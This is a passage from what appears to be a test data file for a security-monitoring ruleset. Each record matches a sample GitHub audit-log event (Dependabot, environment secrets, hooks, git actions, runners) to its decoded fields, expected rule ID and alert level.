"{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"billing.change_billing_email\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "billing.change_billing_email", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91113", "level": "9", "expected_decoder": "json", "expected_rule": "91113", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Billing change billing email."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_alerts.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_alerts.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91114", "level": "3", "expected_decoder": "json", "expected_rule": "91114", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot alerts."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_alerts.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_alerts.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91115", "level": "12", "expected_decoder": "json", "expected_rule": "91115", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot alerts disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_alerts.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_alerts.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91116", "level": "3", "expected_decoder": "json", "expected_rule": "91116", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot alerts enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_alerts_new_repos.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_alerts_new_repos.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91117", "level": "3", "expected_decoder": "json", "expected_rule": "91117", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot alerts new repos."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_alerts_new_repos.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_alerts_new_repos.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91118", "level": "12", "expected_decoder": "json", "expected_rule": "91118", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot alerts new repos disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_alerts_new_repos.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_alerts_new_repos.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91119", "level": "3", "expected_decoder": "json", "expected_rule": "91119", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot alerts new repos enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_security_updates.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_security_updates.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91120", "level": "3", "expected_decoder": "json", "expected_rule": "91120", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot security updates."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_security_updates.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_security_updates.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91121", "level": "12", "expected_decoder": "json", "expected_rule": "91121", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot security updates disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_security_updates.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_security_updates.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91122", "level": "3", "expected_decoder": "json", "expected_rule": "91122", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot security updates enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_security_updates_new_repos.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_security_updates_new_repos.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91123", "level": "3", "expected_decoder": "json", "expected_rule": "91123", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot security updates new repos."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_security_updates_new_repos.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_security_updates_new_repos.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91124", "level": "12", "expected_decoder": "json", "expected_rule": "91124", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot security updates new repos disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependabot_security_updates_new_repos.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependabot_security_updates_new_repos.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91125", "level": "3", "expected_decoder": "json", "expected_rule": "91125", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependabot security updates new repos enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependency_graph.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependency_graph.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91126", "level": "3", "expected_decoder": "json", "expected_rule": "91126", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependency graph."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependency_graph.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependency_graph.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91127", "level": "12", "expected_decoder": "json", "expected_rule": "91127", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependency graph disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependency_graph.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependency_graph.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91128", "level": "3", "expected_decoder": "json", "expected_rule": "91128", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependency graph enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependency_graph_new_repos.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependency_graph_new_repos.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91129", "level": "3", "expected_decoder": "json", "expected_rule": "91129", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependency graph new repos."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependency_graph_new_repos.disable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependency_graph_new_repos.disable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91130", "level": "12", "expected_decoder": "json", "expected_rule": "91130", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependency graph new repos disable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"dependency_graph_new_repos.enable\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "dependency_graph_new_repos.enable", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91131", "level": "3", "expected_decoder": "json", "expected_rule": "91131", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Dependency graph new repos enable."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"discussion_post.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "discussion_post.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91132", "level": "3", "expected_decoder": "json", "expected_rule": "91132", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Discussion post."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"discussion_post.update\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "discussion_post.update", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91133", "level": "5", "expected_decoder": "json", "expected_rule": "91133", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Discussion post update."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"discussion_post.destroy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "discussion_post.destroy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91134", "level": "5", "expected_decoder": "json", "expected_rule": "91134", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Discussion post destroy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"discussion_post_reply.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "discussion_post_reply.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91135", "level": "3", "expected_decoder": "json", "expected_rule": "91135", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Discussion post reply."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"discussion_post_reply.update\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "discussion_post_reply.update", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91136", "level": "5", "expected_decoder": "json", "expected_rule": "91136", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Discussion post replay update."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"discussion_post_reply.destroy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "discussion_post_reply.destroy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91137", "level": "5", "expected_decoder": "json", "expected_rule": "91137", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Discussion post replay destroy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"enterprise.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "enterprise.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91139", "level": "3", "expected_decoder": "json", "expected_rule": "91139", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Enterprise."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"enterprise.remove_self_hosted_runner\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "enterprise.remove_self_hosted_runner", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91140", "level": "3", "expected_decoder": "json", "expected_rule": "91140", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Enterprise Remove self hosted runner."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"enterprise.register_self_hosted_runner\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "enterprise.register_self_hosted_runner", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91141", "level": "3", "expected_decoder": "json", "expected_rule": "91141", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Enterprise Register self hosted runner."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"enterprise.runner_group_created\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "enterprise.runner_group_created", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91142", "level": "5", "expected_decoder": "json", "expected_rule": "91142", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Enterprise Runner group created."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"enterprise.runner_group_removed\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "enterprise.runner_group_removed", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91143", "level": "7", "expected_decoder": "json", "expected_rule": "91143", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Enterprise Runner group removed."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"enterprise.runner_group_runner_removed\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "enterprise.runner_group_runner_removed", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91144", "level": "7", "expected_decoder": "json", "expected_rule": "91144", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Enterprise Runner group runner removed."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"enterprise.runner_group_runners_added\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "enterprise.runner_group_runners_added", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91145", "level": "5", "expected_decoder": "json", "expected_rule": "91145", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Enterprise Runner group runners added."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"enterprise.runner_group_runners_updated\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "enterprise.runner_group_runners_updated", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91146", "level": "5", "expected_decoder": "json", "expected_rule": "91146", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Enterprise Runner group runners updated."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"enterprise.runner_group_updated\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "enterprise.runner_group_updated", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91147", "level": "5", "expected_decoder": "json", "expected_rule": "91147", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Enterprise Runner group updated."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"enterprise.self_hosted_runner_updated\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "enterprise.self_hosted_runner_updated", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91148", "level": "3", "expected_decoder": "json", "expected_rule": "91148", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Enterprise Self hosted runner updated."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"environment.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "environment.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91149", "level": "3", "expected_decoder": "json", "expected_rule": "91149", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Environment."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"environment.create_actions_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "environment.create_actions_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91150", "level": "7", "expected_decoder": "json", "expected_rule": "91150", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Environment Create actions secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"environment.delete\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "environment.delete", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91151", "level": "7", "expected_decoder": "json", "expected_rule": "91151", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Environment Delete."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"environment.remove_actions_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "environment.remove_actions_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91152", "level": "9", "expected_decoder": "json", "expected_rule": "91152", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Environment Remove actions secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"environment.update_actions_secret\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "environment.update_actions_secret", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91153", "level": "7", "expected_decoder": "json", "expected_rule": "91153", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Environment Update actions secret."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"environment.add_protection_rule\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "environment.add_protection_rule", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91154", "level": "7", "expected_decoder": "json", "expected_rule": "91154", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Environment Add protection rule."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"environment.update_protection_rule\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "environment.update_protection_rule", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91155", "level": "7", "expected_decoder": "json", "expected_rule": "91155", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Environment Update protection rule."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"environment.remove_protection_rule\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "environment.remove_protection_rule", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91156", "level": "9", "expected_decoder": "json", "expected_rule": "91156", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Environment Remove protection rule."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"git.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "git.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91157", "level": "3", "expected_decoder": "json", "expected_rule": "91157", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Git."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"git.clone\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "git.clone", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91158", "level": "3", "expected_decoder": "json", "expected_rule": "91158", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Git clone."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"git.fetch\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "git.fetch", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91159", "level": "3", "expected_decoder": "json", "expected_rule": "91159", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Git fetch."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"git.push\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "git.push", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91160", "level": "3", "expected_decoder": "json", "expected_rule": "91160", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Git push."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"hook.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "hook.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91161", "level": "3", "expected_decoder": "json", "expected_rule": "91161", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Hook."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"hook.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "hook.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91162", "level": "5", "expected_decoder": "json", "expected_rule": "91162", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Hook create."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"hook.config_changed\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "hook.config_changed", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91163", "level": "5", "expected_decoder": "json", "expected_rule": "91163", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Hook config changed."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"hook.destroy\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "hook.destroy", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91164", "level": "7", "expected_decoder": "json", "expected_rule": "91164", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Hook destroy."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"hook.events_changed\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "hook.events_changed", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91165", "level": "5", "expected_decoder": "json", "expected_rule": "91165", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Hook events changed."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"integration_installation.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "integration_installation.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91166", "level": "3", "expected_decoder": "json", "expected_rule": "91166", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Integration installation."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"integration_installation_request.\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "integration_installation_request.", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91166", "level": "3", "expected_decoder": "json", "expected_rule": "91166", "rule_matches_expected": true, "ini_file": "github.ini", "section": "GitHub Integration installation."} +{"log": "{\"integration\":\"github\",\"github\":{\"actor\":\"user\",\"org\":\"organization\",\"created_at\":1619032221869,\"action\":\"integration_installation.create\"}}", "decoder": "json", "parent": "", "fields": {"github.action": "integration_installation.create", "github.actor": "user", "github.created_at": "1619032221869.000000", "github.org": "organization", "integration": "github"}, "field_names": ["github.action", "github.actor", "github.created_at", "github.org", "integration"], "rule": "91167", "level": "5", "expected_decoder": "json", "expected_rule": 